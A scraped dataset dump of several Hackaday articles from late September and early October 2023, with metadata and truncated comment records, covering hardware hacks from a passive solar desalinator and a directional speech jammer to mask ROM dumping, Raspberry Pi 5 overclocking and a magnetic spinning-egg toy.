"saltwater",
"solar"
] | Saltwater is plentiful, but no good for drinking. Desalinization is the obvious solution, but a big problem isn’t taking the salt out, it’s where all that leftover salt goes. Excess salt accumulates, crystallizes, collects, and clogs a system. Dealing with this means maintenance, which means higher costs, which ultimately limits scalability.
The good news is that engineers at MIT and in China have succeeded in
creating a desalination system that avoids this problem
by intrinsically flushing accumulated salt as it is created, keeping the system clean. And what’s more, the whole thing is both scalable and entirely passive. The required energy all comes from gravity and the sun’s heat.
To do this, the device is constructed in such a way that it mimics the
thermohaline circulation
of the ocean on a small scale. This is a process in which temperature and density differentials drive a constant circulation and exchange. In the team’s system, this ultimately flushes concentrations of salt out of the system before it has a chance to collect.
The entirely passive nature of the device, its scalability, and the fact that it could desalinate water without accumulating salt for years means an extremely low cost to operate. The operating principle makes sense, but of course, it is careful engineering that shows it is actually possible. We have seen projects leveraging the
passive heating and circulation of water
before, but this is a whole new angle on letting the sun do the work. | 15 | 6 | [
{
"comment_id": "6688397",
"author": "spiritplumber@gmail.com",
"timestamp": "2023-10-02T08:31:36",
"content": "This is awesome.",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6688398",
"author": "spiritplumber@gmail.com",
"timestamp": "2023-10-02T08:3... | 1,760,372,148.93507 | ||
https://hackaday.com/2023/10/01/hypersonic-speech-jammer-works-at-a-distance/ | Hypersonic Speech Jammer Works At A Distance | Lewin Day | [
"Misc Hacks"
] | [
"audio",
"speech",
"speech jammer"
] | Speech jammers were a meme a little while back. By feeding back delayed voice audio to a person’s ears, it makes it near-impossible for most people to speak, as our speech system runs on a continual feedback loop.
[Benn Jordan] decided to try reworking that concept by replacing headphones with a directed sound projector.
The key to the project is the use of hypersonic sound arrays. These essentially use high-frequency sound beyond the human range of hearing to carry a lower-frequency sound signal. By essentially modulating this higher-frequency carrier to create the perception of lower-frequency sound, it’s possible to create an audible signal that is highly directional. It’s like a “sound laser” that can be pointed directly at a person to allow them to hear it, which is then inaudible when pointed slightly away.
These allow the delayed voice signal to be fired at a person’s head with a relatively narrow spatial spread. When an individual speaks into a microphone hooked up to the device, delayed audio is sent through the hypersonic array back to the speaker’s ears, garbling their speech as their brain gets confused by the feedback.
[Benn] demonstrated the device in public by offering random individuals $100 to read a paragraph out of a book. The speech jammer worked a treat, and [Benn] was able to keep his money… until one amazingly immune individual breezed through the test.
Check out our prior coverage of speech jamming technology.
Video after the break.
[Thanks to Hyperific for the tip!] | 19 | 9 | [
{
"comment_id": "6688369",
"author": "Eric",
"timestamp": "2023-10-02T05:45:41",
"content": "Being deaf does have some perk. I can still speak decently with hearing aids turned off so I guess those speech jammer may not work on me.I was born nearly profoundly deaf (hearing loss at 100dB at low frequ... | 1,760,372,148.986339 | ||
https://hackaday.com/2023/10/01/googles-augmented-reality-microscope-might-help-diagnose-cancer/ | Google’s Augmented Reality Microscope Might Help Diagnose Cancer | Maya Posch | [
"Medical Hacks"
] | [
"augmented reality",
"convolutional neural network"
] | Despite recent advances in diagnosing cancer, many cases are still diagnosed using biopsies and analyzing thin slices of tissue underneath a microscope. Properly analyzing these tissue sample slides requires highly experienced and skilled pathologists, and remains subject to some level of bias. In 2018 Google
announced
a convolutional neural network (CNN) based system which they call the Augmented Reality Microscope (ARM), which would use deep learning and augmented reality (AR) to assist a pathologist with the diagnosis of a tissue sample. A
2022 study
in the
Journal of Pathology Informatics
by David Jin and colleagues (
CNBC article
) details how well this system performs in ongoing tests.
For this particular study, the LYmph Node Assistant (LYNA) model was investigated, which as the name suggests targets detecting cancer metastases within lymph node biopsies. The basic ARM setup is described on the
Google Health GitHub page
, which contains all of the required software, except for the models which are available on request. The ARM system is fitted around an existing medical-grade microscope, with a camera feeding the CNN model with the input data, and any relevant outputs from the model are overlaid on the image that the pathologist is observing (the AR part).
Although the study authors noted that they saw potential in the technology, as with most CNN-based systems a lot depends on how well the training data set was annotated. When a grouping of tissue including cancerous growth was marked too broadly, this could cause the model to draw an improper conclusion. This makes a lot of sense when one considers that this system essentially plays ‘cat or bread’, except with cancer.
These gotchas with recognizing legitimate cancer cases are why the study authors see it mostly as a useful tool for a pathologist. One of the authors, Dr. Niels Olsen, notes that back when he was stationed at the naval base in Guam, he would have liked to have a system like ARM to provide him as one of the two pathologists on the island with an easy source of a second opinion.
(Heading image: Dr. Niels Olson uses the Augmented Reality Microscope. (Credit: US Department of Defense) ) | 10 | 5 | [
{
"comment_id": "6688338",
"author": "The Commenter Formerly Known As Ren",
"timestamp": "2023-10-02T02:08:55",
"content": "Well, I hope Google’s CNN is more accurate in its reporting than the television channel with the same initials.But then again, it is Google.",
"parent_id": null,
"depth... | 1,760,372,149.111614 | ||
https://hackaday.com/2023/10/01/hackaday-links-october-1-2023/ | Hackaday Links: October 1, 2023 | Dan Maloney | [
"Hackaday Columns",
"Hackaday links",
"Slider"
] | [
"amateur radio",
"anthropomorphic",
"autonomous",
"black hole",
"chronos",
"digit",
"hackaday links",
"ham radio",
"Hubble radius",
"humanoid",
"Mars Jezero",
"mig",
"Perseverance",
"Plank length",
"robot-taxi",
"self-driving",
"slo-mo",
"tig",
"weld pool",
"welding"
] | We’ve devoted a fair amount of virtual ink here to casting shade at self-driving vehicles, especially lately with all the robo-taxi fiascos that seem to keep cropping up in cities serving as testbeds. It’s hard not to, especially when
an entire fleet of taxis seems to spontaneously congregate at a single point
, or all it takes to create gridlock is
a couple of traffic cones
. We know that these are essentially beta tests whose whole point is to find and fix points of failure before widespread deployment, and that any failure is likely to be very public and very costly. But there’s someone else in the self-driving vehicle business with way, WAY more to lose if something goes wrong but still seems to be nailing it every day. Of course, we’re talking about NASA and the
Perseverance
rover, which just completed
a record drive across Jezero crater on autopilot
. The 759-meter jaunt was completely planned by the onboard AutoNav system, which used the rover’s cameras and sensors to pick its way through a boulder-strewn field. Of course, the trip took six sols to complete, which probably would result in negative reviews for a robo-taxi on Earth, and then there’s the whole thing about NASA having a much bigger pot of money to draw from than any start-up could ever dream of. Still, it’d be nice to see some of the tech on
Perseverance
filtering down to Earth.
Another hobby horse we frequently mount in this space is the increasing number of humanoid (and animal-oid) robots. Most of the time we make a “Black Mirror” reference or drop an “our robot overlords” joke into the mix, but in a lot of ways that’s just our way of whistling past the graveyard. While anthropomorphic platforms don’t make a lot of sense in most robotic applications, our body plan really does solve a lot of locomotion and associated problems elegantly, so it makes sense to explore it. Still, we have to confess to being a bit surprised to hear that Agility Robotics is building
a factory capable of turning out 10,000 of its Digit humanoid robots per year
. Creepy backward knees notwithstanding, Digit is a pretty reasonable design for working alongside humans; it’s not overly large or fast, but can still carry loads up to 16 kg and work for 16 hours between charges. When we first spotted this story, we wondered what kind of market would be able to absorb 10,000 Digits a year, but when you’re talking about putting two full-time equivalents into a package that won’t call in sick, won’t get repetitive stress injuries, and won’t unionize — probably — now we’re wondering if Agility is maybe underestimating things a bit.
Back in the days before Reddit became intolerable, we used to love perusing the r/DataIsBeautiful subreddit.
This plot of all the objects in the universe
seems like it would be the perfect fit over there because it’s one of those visualizations that just keeps on delivering. It takes some time to unwrap, but it’s basically a log-log graph of the physical radius of an object versus its mass. It covers the range from subatomic particles to galactic superclusters, and even includes a couple of “here be monsters” regions where our understanding of physics breaks down — the authors of
the original paper
cheekily call these “unphysical regions.” If we’re reading the chart right, the smallest possible object in the universe is an “instanton,” an adorable black hole about 10
-32
cm in radius with a mass of about a milligram. Also lying along the line on the chart that charts all the black holes is the Hubble radius, which is the size of our universe. This raises the possibility that our universe is a black hole, but the authors dismiss that because physics.
A public service announcement for our US-based readers: don’t forget
the nationwide test
of the Emergency Alert System (EAS) and the Wireless Emergency Alerts (WEA) scheduled for this coming Wednesday, October 4, at around 2:20 PM Eastern time. Pretty much every device you own will be blipping and beeping for about a minute, so don’t panic — there’ll be plenty of time to do that later.
Happy belated birthday to
the oldest US amateur radio operator, Oscar Norris (W4OXH)
, who turned 106 this week. We didn’t feel like paying for access to
the Gaston Gazette
to learn more about Oscar, but a little poking around reveals that he’s been an active ham for over 70 years and seemed to be on the air as late as last November. His license is good until 2028, meaning he still has plenty of time to catch up to
the oldest known US ham
, Cliff Kayhart (W4KKP), who was 109 years old when he went “silent key” back in 2020.
And finally, if you’re a welder or just pretend to be one like us, you might find
these super slo-mo shots of welding
as fascinating as we did. To create these fantastic shots, TimWelds set up a Chronos camera and a special lighting rig that captures all the action in the weld pool, the spot where the heat of the arc turns metal into liquid. It’s where all the action is in welding, and controlling what’s going on there is critical to weld quality. He shows TIG, MIG, and stick welding in a variety of metals. For our money, AC TIG on aluminum makes for the most interesting presentation; the cleaning action from the polarity reversal is like a little lightning storm. Watching the hydrodynamics of the pool under pulsed DC TIG is pretty cool, too. And it’s not just pretty pictures, either; understanding what happens to the pool on such a fine level of detail really brings home the finer points, like where to add your filler metal and what really happens when you dip your electrode. | 13 | 8 | [
{
"comment_id": "6688312",
"author": "Mr Name Required",
"timestamp": "2023-10-02T00:08:36",
"content": "Just a note that for anyone interested in how Perseverance is going, I highly recommend checking out Dr Steve Ruff aka ‘Mars Guy’ on Youtube. His videos are short, informative, technical and he i... | 1,760,372,149.161519 | ||
https://hackaday.com/2023/10/01/kaluma-puts-javascript-on-the-rp2040/ | Kaluma Puts JavaScript On The RP2040 | Donald Papp | [
"Raspberry Pi",
"Software Development"
] | [
"javascript",
"js",
"node.js",
"pico",
"rp2040"
] | With a simple firmware update,
Kaluma
puts a lightweight
JavaScript
runtime on the Raspberry Pi Pico (which uses the RP2040 microcontroller), providing handy modules for file systems, graphics, networking, and more. Code for a simple LED blink can then look like:
// index.js
const led = 25;
pinMode(led, OUTPUT);
setInterval(() => {
digitalToggle(led);
}, 1000);
Development can then be done using tools that are very familiar to JavaScript developers, such as
npm
and flashing new code to a USB-connected Pico with the (Node.js-based) Kaluma command-line interface. Take a look at the
GitHub repository
for the project, or
browse some of the projects
made with Kaluma.
Much like with
MicroPython
, there’s value to be had in putting implementations of high-level languages on microcontrollers. Each new language opens embedded programming to a whole new group of coders. But it’s not just languages making their way to the RP2040. Wonderful projects such as
emulating the ZX Spectrum on an RP2040
also happen.
Thanks to [Shri Hari Ram] for the tip! | 38 | 13 | [
{
"comment_id": "6688308",
"author": "paulvdh",
"timestamp": "2023-10-02T00:02:27",
"content": "I once looked into java / javascript shortly and discovered it does not support unsigned variables. I’d say that makes it pretty much unusable for microcontroller development, but you will probably be abl... | 1,760,372,149.240071 | ||
https://hackaday.com/2023/09/30/a-1970s-mask-rom-mcu-spills-its-secrets/ | A 1970s Mask ROM MCU Spills Its Secrets | Robin Kearey | [
"Microcontrollers",
"Reverse Engineering"
] | [
"3870",
"firmware dumping",
"mask rom",
"MK3870",
"Mostek",
"ROM dump"
] | If you buy any kind of electronic gadget today, chances are it’s powered by a microcontroller with a program stored in its internal flash ROM. That program’s code is often jealously guarded by the manufacturer, who will try their best to make sure you can’t just read back the chip’s contents by using lock bits or some sort of encryption. Things were more laid back in the 1970s and ’80s, when code was stored unencrypted in standard EPROM chips, or, for high-volume applications, in mask ROMs integrated in microcontrollers. Reading back the code of such micros was still very difficult because chips simply didn’t have a way of dumping their contents. [Andrew Menadue] ran into this issue when trying to repair an old HP calculator printer, and had to
apply a clever hack to dump the contents of its Mostek MK3870 chip
.
The main trick [Andrew] used was one discovered by [Sean Riddle] and explained
on his website
. It makes use of the fact that the MK3870 has a
TEST
pin that can be used to disable the mask ROM and load alternative program code directly into the micro’s processing core. By setting up a
LOAD
instruction pointing at a ROM location and briefly disabling test mode while that instruction is executed, the ROM’s contents can be read out by the externally loaded program.
Simple as this hack may seem, actually implementing it was tricky enough because of the strict timing requirements between signals on the clock pins, the data bus, and the
TEST
pin. [Andrew] got it to work on his Raspberry Pi Pico setup most of the time, but somehow the micro still returned a plainly wrong value every few hundred bytes. Not willing to spend too much time debugging this issue, [Andrew] applied a rather crude hack to his code: instead of reading each byte once, it runs the read cycle 200 times, and only returns a result when all 200 runs return the same value. Dumping the entire 4 kB of ROM now takes several minutes, but this isn’t much of an issue since [Andrew] only has one chip to read out.
If you do have a bucketload of MK3870 chips that you need to dump, you might want to try and optimize the code on
[Andrew]’s GitHub page
. It’s a lucky coincidence that the ‘3870 has the exploitable
TEST
feature; often, the only way to get inside mask ROM code is by
decapping the chip
and
optically reading the bits one by one
. Mask ROMs are great for very long term
data storage
, however. | 20 | 5 | [
{
"comment_id": "6687781",
"author": "Joshua",
"timestamp": "2023-09-30T20:08:12",
"content": "Yay! Finally an interesting article again! Good work! 😃👍",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6687790",
"author": "Pete",
"timestamp": "2023-09-3... | 1,760,372,149.355849 | ||
https://hackaday.com/2023/09/30/simple-add-on-makes-cheap-plasma-cutter-suitable-for-cnc-use/ | Simple Add-On Makes Cheap Plasma Cutter Suitable For CNC Use | Dan Maloney | [
"cnc hacks",
"Tool Hacks"
] | [
"cnc",
"contactor",
"HF start",
"pilot arc",
"plasma",
"plasma cutter",
"reed switch",
"toroid"
] | Plasma cutters are ridiculously cheap these days, just cruise by the usual online sources or your local Harbor Freight if you’ve got any doubt about that. But “cheap” and “good” don’t always intersect on a Venn diagram, and even when they do, not every plasma cutter is suitable for use on the spanking new CNC table you’re building. But luckily,
there’s a mod for that
.
As [Jake von Slatt] explains it, there are two kinds of plasma cutters on the market: high-frequency (HF) start and pilot arc start. The basic difference is that HF start cutters, which comprise the majority of cheap cutters on the market, need direct electrical contact with the workpiece to start the cutting action. Pilot arc torches, which are more suitable for CNC cutters, can strike the arc through a separate conductor without the need to contact the workpiece.
While there are homebrew bodges that claim to turn an HF torch into a pilot arc, [Jake]’s approach is a bit more complicated, and necessarily so. His add-on box intercepts the ground clamp — which is actually the positive conductor for plasma cutting — and switches it through a heavy-duty HVAC contactor. The 24 VDC coil of the contactor is controlled by a homebrew current sensor made from a huge toroid ferrite core wrapped with 20 turns of 6 AWG welding wire.
Before winding, the core is split in two and epoxied back together with a small
magnetic reed switch
bridging the gap. A simple 24 VDC power supply runs the whole thing. When the torch starts, the nozzle is connected to ground through the contactor, but as soon as the arc strikes and starts pulling cutting current through that toroid, the magnetic field closes the reed switch, which opens the contactor via a small DC relay. This removes the connection between the nozzle and ground, leaving the plasma to carry all the cutting current.
We’ve featured
many
,
many
CNC plasma cutter tables before, but most of these builds have concentrated on the table more than the cutter. It’s a refreshing change to get some insider tips on what kinds of cutters work best, and how to adapt what you’ve got for the job. | 15 | 6 | [
{
"comment_id": "6687761",
"author": "CH",
"timestamp": "2023-09-30T18:34:31",
"content": "Yes, just changing the torch to a pilot start solves this, the contactor is built into the tip and once air starts flowing it opens the circuit to plasma sustained arc.",
"parent_id": null,
"depth": 1,... | 1,760,372,149.296932 | ||
https://hackaday.com/2023/09/30/horrendous-mess-of-wires/ | Horrendous Mess Of Wires | Elliot Williams | [
"Hackaday Columns",
"Rants"
] | [
"documentation",
"newsletter",
"Rant"
] | When do you post your projects? When they’re done? When they’re to the basic prototype stage? Or all along the way, from their very conception? All of these have their merits, and their champions.
In the post-all-along-the-way corner, we have Hackaday’s own [Arya Voronova], who
outlines the many ways that you can start documenting your project before it’s even a fully fledged project
. She calls these tidbits “breadcrumbs”, and it strikes me as being a lot like keeping a logbook, but doing it in public. The advantages? Instead of just you, everyone on the Internet can see what you’re up to. This means they can offer help, give you parts recommendations, and find that incorrect pinout that one pair of eyes would have missed. It takes a lot of courage to post your unfinished business for all to see, but ironically, that’s the stage of the project where
you
stand to gain the most from the exposure.
On the opposite end of the spectrum are the folks who document their projects at the very end. We see
a ton
of these on Hackaday.io and in people’s personal blogs. It’s a great service to the community, frankly, because at that point, you’re already done with the project. This is the point where the reward, for you, is at its minimum, but it’s also the point where you feel least inhibited about sharing if you’re one of those people who are afraid of showing your work off half-done. The risk here, if you’re like me, is that you’re already on to the next project when one is “done”, and going back over it to make notes seems superfluous. Those of you who do it regardless, we salute you!
And then there’s the middle ground. When you’re about one third of the way done, you realize that you might have something half workable, and you start taking a photo or two, or maybe even typing words into a computer. Your git logs start to contain more than just “fixed more stuff” for each check-in, because what if someone else actually reads this? Maybe you’re to the point where you’ve just made the nice box to put it in, and you’re not sure if you’ll ever go back and untangle that rat’s nest, so you take a couple of pictures of the innards before you hot glue it down.
I’m a little ashamed I’m probably on the “post only when it’s done” end of things than is healthy, mostly because I don’t have the aforementioned strength of will to
go back
. What about you?
This article is part of the Hackaday.com newsletter, delivered every seven days for each of the last 200+ weeks. It also includes our favorite articles from the last seven days that you can see on
the web version of the newsletter
.
Want this type of article to hit your inbox every Friday morning?
You should sign up
! | 21 | 10 | [
{
"comment_id": "6687702",
"author": "Sword",
"timestamp": "2023-09-30T14:17:24",
"content": "IMO depends on the project. If it is hardware, maybe once you wire things up.If it is software, I commit when it has basic functionality.",
"parent_id": null,
"depth": 1,
"replies": [
{
... | 1,760,372,149.409845 | ||
https://hackaday.com/2023/09/30/analog-asic-design-built-using-digital-standard-cells/ | Analog ASIC Design Built Using Digital Standard Cells | Lewin Day | [
"Parts"
] | [
"analog",
"ASIC",
"digital",
"tiny tapeout"
] | Tiny Tapeout is a way for students, hobbyists, and home gamers to get their own ASICs designs fabbed into real custom chips. Tiny Tapeout 3 was the third running, with designs mandated to be made up of simple digital standard cells. Only, a guy by the name of [Harald Pretl] found a way to make an analog circuit
using these digital cells anyway
.
In a video
on YouTube,
[Harald] gave an interview on how he was able to create a temperature sensor within the constraints of the Tiny Tapeout 3 requirements. The sensor has a range of -30 C to 120 C, albeit in a relatively crude resolution of 5 degrees C. The sensor works by timing the discharge of a pre-charged parasitic capacitor, with the discharge current being the subthreshold current of a MOSFET, which is highly dependent on temperature. [Harald] goes deep into the details on how the design achieves its full functionality using the pre-defined digital cells available in the Tiny Tapeout 3 production run.
You can checkout a deeper breakdown of [Harald]’s design on the
submission page
. Meanwhile,
Tiny Tapeout
creator [Matt Venn] gave a great talk on the technology
at Hackaday Supercon last year
.
Thanks to [Adrian] for the tip! | 9 | 5 | [
{
"comment_id": "6687686",
"author": "Gravis",
"timestamp": "2023-09-30T12:34:19",
"content": "A neat reminder that digital circuits are made from analog components which means in the right arrangement they can maintain their analog nature.",
"parent_id": null,
"depth": 1,
"replies": []
... | 1,760,372,149.717672 | ||
https://hackaday.com/2023/09/30/cpu-built-from-discrete-transistors/ | CPU Built From Discrete Transistors | Bryan Cockfield | [
"computer hacks",
"Parts"
] | [
"circuit design",
"discrete components",
"transistor",
"transistors"
] | We all know, at least intellectually, that our computers are all built with lots of tiny transistors. But beyond that it’s a little hard to describe. They’re printed on a silicon wafer somehow, and since any sufficiently advanced technology is indistinguishable from magic, they miraculously create a large part of modern society. Even most computers from 40 or 50 years ago were built around various inscrutable integrated circuits. On the other hand,
this computer goes all the way back to first principles and implements a complete processor out of individual transistors
instead.
The transistor computer uses over 2000 individual transistors to implement everything comprising the 11-bit CPU. The creator, Reddit user [ Weekly_Salamander_78] also has
an online interactive book
that walks through each of the steps that is required to get to the point of having a working computer like this. Starting with a guide on building logic gates from transistors it will eventually cover the arithmetic logic unit, adders, memory, clocks, and everything else that is needed for the complete CPU to get up and running. The design does rely on an Arduino for memory to simplify some things, and in the end it’s able to run a Hello, World! program and play a simple dinosaur game as well.
Building a computer out of discrete components like this is an impressive accomplishment, although we might not envy the creator of it when it comes time for troubleshooting or maintenance of all of those individual components. Presumably it would be much easier to work on than something like a
relay computer
, but for now we’ll all take a moment to be thankful that almost no one needs to work on debugging
vacuum tube computers
anymore. | 31 | 15 | [
{
"comment_id": "6687667",
"author": "Bob",
"timestamp": "2023-09-30T10:21:39",
"content": "So, this basically is the largest Arduino shield. That already puts a record.",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6687681",
"author": "Daniel",
"time... | 1,760,372,149.670206 | ||
https://hackaday.com/2023/09/29/cyanodore-6-is-a-rad-commodore-64-synthesizer/ | Cyanodore 6 Is A Rad Commodore 64 Synthesizer | Lewin Day | [
"Musical Hacks"
] | [
"c64",
"commodore 64"
] | The Commodore 64 is celebrated to this day for its capable SID sound chip, which provided the soundtrack for some of the best video games of its era. Even today, it’s still in demand as a chiptune synth. [gavinlyons] decided to take a breadbox-style C64 and mod it to be a more dedicated synth platform, creating what he calls
the Cyanodore 6.
The build starts by equipping the C64 with MIDI via a C-LAB interface cartridge. Software is loaded on to the C64 via a readily-available SD2ISEC converter, which lets the retro computer run off SD cards. The original SID was removed and replaced with an ARMSID emulator instead, giving the rig stereo output with some custom wiring. Four potentiometers were also added to control various synth parameters by wiring them into the C64’s two joystick ports. There are a variety of synth programs that can run on the C64, with [gavinlyons] noting CynthCart, STATION64, and MicroRhythm as popular choices. Other nifty mods include the keyboard illumination, tube preamp, and integrated 7″ LCD screen.
If you’re looking to start using your C64 as a performance instrument, this build is an excellent starting point.
We’ve seen other neat builds in this area before, too.
It’s got just about everything you’ll need on stage. Video after the break. | 3 | 3 | [
{
"comment_id": "6687642",
"author": "PPJ",
"timestamp": "2023-09-30T07:29:21",
"content": "Reminds me of:https://hackaday.com/2012/07/09/jeri-ellsworth-on-making-her-c64-bass-keytar/",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6688213",
"author": "Josh... | 1,760,372,149.755319 | ||
https://hackaday.com/2023/09/29/fedex-robot-solves-complex-packing-problems/ | FedEx Robot Solves Complex Packing Problems | Bryan Cockfield | [
"Robots Hacks"
] | [
"artificial intelligence",
"delivery",
"fedex",
"lidar",
"packages",
"robot",
"sensors",
"stacking"
] | Despite the fact that it constantly seems like we’re in the midst of a robotics- and artificial intelligence-driven revolution, there are a number of tasks that continue to elude even the best machine learning algorithms and robots. The clothing industry is an excellent example, where the flimsy materials can easily trip up robotic manipulators. But one task like this that seems like it might soon be solve is packing cargo into trucks,
as FedEx is trying to do with one of their new robots
.
Part of the reason this task is so difficult is that packing problems, similar to “traveling salesman” problems, are surprisingly complex. The packages are not presented to the robot in any particular order, and need to be efficiently placed according to weight and size. This robot, called DexR, uses artificial intelligence paired with an array of sensors to get an idea of each package’s dimensions, which allows it to then plan stacking and ordering configurations and ensure secure fits between all of the other packages. The robot must also be capable of quickly adapting if any packages shift during stacking and re-order or re-stack them.
As robotics platforms and artificial intelligence continue to improve, it’s likely we’ll see a flurry of complex problems like these solved by machine instead of by human. Tackling real-world tasks are often more complex than they seem, as anyone with a printer an a PC LOAD LETTER error can attest to, even handling single sheets of paper can be a difficult task for a robot. Interfacing with these types of robots can be a walk in the park, though,
provided you read the documentation first
. | 44 | 11 | [
{
"comment_id": "6687568",
"author": "The Commenter Formerly Known As Ren",
"timestamp": "2023-09-30T02:21:01",
"content": "“The packages are not presented to the robot in any particular order, and need to be efficiently placed according to weight and size.”I thought packages would be sorted by Dest... | 1,760,372,149.835666 | ||
https://hackaday.com/2023/10/01/these-diy-super-headphones-take-sound-seriously/ | These DIY Super Headphones Take Sound Seriously | Donald Papp | [
"how-to",
"Wearable Hacks"
] | [
"ambient",
"audio",
"custom",
"diy",
"headphones",
"hearing protection",
"microphone"
] | [Pete Lewis] from SparkFun takes audio and comfort seriously, and recently shared details on making a customized set of
Super Headphones
, granting quality sound and stereo ambient passthrough, while providing hearing protection at the same time by isolating the wearer from the environment.
Such products can be purchased off the shelf (usually called some variant of “electronic hearing protection”), but every hacker knows nothing beats some DIY to get exactly the features one wants. After all, off-the-shelf solutions are focused on hearing protection, not sound quality. [Pete] also wanted features like the ability to freely adjust how much ambient sound was mixed in, as well as the ability to integrate a line-level audio source or Bluetooth input.
Early prototype of Super Headphones (click to enlarge)
On the surface the required components are straightforward, but as usual, the devil is in the details.
Microphone selection
, for example, required a lot of testing. A good microphone needed to be able to deal with extremely loud ambient sounds without distortion, yet still be sensitive enough to be useful. [Pete] found a good solution, but also muses that two sets of microphones (one for loud environments, and one for quieter) might be worth a try.
After several prototypes, the result is headphones that allow safe and loud band practice in a basement as easily as they provide high-quality music and situational awareness while mowing the lawn. Even so, [Pete]’s not done yet. He’s working on improving comfort by using
photogrammetry to help design and 3D print
custom-fitted components. | 24 | 8 | [
{
"comment_id": "6688203",
"author": "PWalsh",
"timestamp": "2023-10-01T17:31:35",
"content": "Noise cancelling headphones will suppress background noise, but let in the frequencies used by the human voice. These are good for things like flying light aircraft, where there is lots of background noise... | 1,760,372,149.901157 | ||
https://hackaday.com/2023/10/01/esp32-keeps-track-of-hot-tubs-vital-signs/ | ESP32 Keeps Track Of Hot Tub’s Vital Signs | Robin Kearey | [
"home hacks"
] | [
"chemical sensors",
"ESP32",
"home-assistant",
"hot tub",
"mqtt",
"ORP sensor",
"pH sensor"
] | Like swimming pools, hot tubs need regular monitoring to ensure their water stays clean and clear. An average person might take a water quality reading once or twice a week using test strips, but such a low sampling rate obviously won’t do for a hacker. [Stephen Carey] has therefore
built a hot tub monitor
that checks the water quality every minute and reports it on a neat mobile dashboard.
[Stephen]’s system uses commercially available sensors that track pH levels and Oxidation-Reduction Potential (ORP), both basic measurements that indicate water quality. A second set of sensors keeps track of the temperature of the water and the outside air, which should help in finding insulation failures and keeping energy use under control.
An ESP32 reads the sensors and sends out the data through WiFi. [Stephen]
programmed
the ESP32 in MicroPython, using an MQTT driver to connect it to Home Assistant. By looking at the graphs generated, you can tell when someone entered the tub from a step change in pH and ORP. It’s even possible to generate alerts when any of the values drift outside their acceptable range – we can already imagine an alarm going off when someone enters without having showered first.
The system also has a calibration mode to check the sensors against a well-defined buffer solution. As with many chemical sensors, the pH and ORP probes gradually lose their active material and need to be replaced after about a year. Good ones aren’t cheap, but [Stephen] has found pretty decent low-cost alternatives on AliExpress that should be fine for a home setup.
If you also want your tub or pool to be actively managed, you’ll need
a more complex system
, perhaps even
one that can also dispense chemicals
. If your hot tub is heated by a wood fire, however, all you need is
a way to alert the person tending the fire
. | 12 | 4 | [
{
"comment_id": "6688214",
"author": "SayWhat?",
"timestamp": "2023-10-01T17:57:38",
"content": "The combination of Home Assistant+ ESPHome + ESP32 SOCs provides powerful nearly unlimited automation and monitoring capability that is inexpensive and relatively easy to implement",
"parent_id": nul... | 1,760,372,149.957289 | ||
https://hackaday.com/2023/10/01/overclocking-raspberry-pi-5s-soc-to-3-ghz-and-1-ghz-gpu/ | Overclocking Raspberry Pi 5’s SoC To 3 GHz And 1 GHz GPU | Maya Posch | [
"Raspberry Pi"
] | [
"OC",
"overclocking",
"Raspberry Pi 5",
"RPi"
] | Overclocking computer systems is a fun way to extract some free performance, or at least see how far you can push the hardware before you run into practical limitations. The newly released Raspberry Pi 5 with BCM2712 SoC is no exception here, with Tom’s Hardware
having a go
at seeing how far both the CPU and GPU in the SoC can be pushed. The BCM2712’s quad Cortex-A76 CPU is normally clocked at 2.4 GHz and the VideoCore VII GPU at 800 MHz. By modifying some settings in the
/boot/config.txt
configuration file these values can be adjusted.
In order to verify that an overclock was stable, the
Stressberry
application was used, which fully loads the CPU cores. Here something like a combination of
stress-ng and glxgears
could also be used, to stress both the CPU and GPU. With the official actively cooled heatsink the CPU reached a temperature of 74°C with a whole board power usage of about 10 Watts. At idle this dropped to 3 Watts at 46°C. At these speeds, the multiple Raspberry Pi 5 units OCed by Tom’s Hardware were mostly stable, though one of the team’s boards experienced a few crashes. This suggests that this level of OCing could still be subject to luck of the draw, and long-term stability would have to be investigated as well.
As for the practical use cases of OCing your Raspberry Pi 5, benchmarks showed a marked uplift in compression and Sysbench benchmark scores, but OCing the GPU had no real positive impact on YouTube or 3D performance, leading even to a massive increase in dropped frames with video playback. This probably means that increasing the CPU clock may be beneficial, but OCing the GPU could be futile without also OCing the RAM frequency, if at all possible.
Realistically, the Raspberry Pi SoCs never were speed monsters, with even the Raspberry Pi 4B’s SoC being
beaten handily in 2020
by a budget dual-core Intel CPU. The current Intel Alder-Lake-N-based
N100
SoC has a 6 Watt TDP and boosts up to 3.4 GHz while its Xe-LP-based iGPU (with AV1 decoding support) makes for a
decent gaming
experience within a ~16 Watt power envelope. Clearly, any OCing of the Raspberry Pi boards is more for the challenge of it, but then so is running the latest Intel CPU at 10 GHz with liquid nitrogen cooling. | 17 | 5 | [
{
"comment_id": "6688133",
"author": "Reluctant Cannibal",
"timestamp": "2023-10-01T14:11:45",
"content": "” but then so is running the latest Intel CPU at 10 GHz with liquid nitrogen cooling.” … Why not stick nitro cooling on the pi5?",
"parent_id": null,
"depth": 1,
"replies": [
... | 1,760,372,150.066845 | ||
https://hackaday.com/2023/10/01/a-spinning-egg-for-your-thoughts/ | A Spinning Egg For Your Thoughts | Danie Conradie | [
"Toy Hacks"
] | [
"David Windestål",
"desk toy",
"ESP32",
"PCB coil"
] | Brushless motors are fascinating devices that come in all sorts of shapes and sizes, but you’ve probably never seen one in the form of a free-spinning shiny metal egg. Created by [David Windestål], [Giacomo Di Muro], and [Chad Kapper], the
Motion Zero
is part top, part brushless motor, and fully mesmerizing. Tech overview video after the break.
Like the classic Tippe Top toy, an ovoid shape like this shiny metal egg will stand on its end if it’s spun fast enough. To do this, the team embedded magnets in the metal egg, effectively turning it into a rotor. An array of 4 PCB coils under a smooth concave surface serves as the stator. Because the egg is not held in position by a shaft, hall effect sensors were incorporated to determine the position of the egg, and properly control the state of the coils to keep it spinning.
Recognizing how easy it was to get lost in thought while staring at a shiny spinning egg, the rest of the device was designed with meditation in mind. The top cover is a block of aluminum machined with ripple patterns, with ball bearings that slide between the ripples as the control interface. Additional hall effect sensors on the PCB determine the position of the balls to adjust the rotation speed and shut-off timer. You can even choose to make the egg move around or remain in one position. The main controller is an ESP32 module, which reads all the hall effect sensors and controls the coils via motor drivers.
The Motion Zero has made its debut on
Kickstarter
and already exceeded its initial funding goal. We like the creators’ willingness to share the inner workings of a product that manages to transform a simple concept into a mesmerizing piece of engineering artistry.
We’ve seen a good bit of [David Windestål]’s has a fascination with weird tech over the years, like
racing belt sanders
,
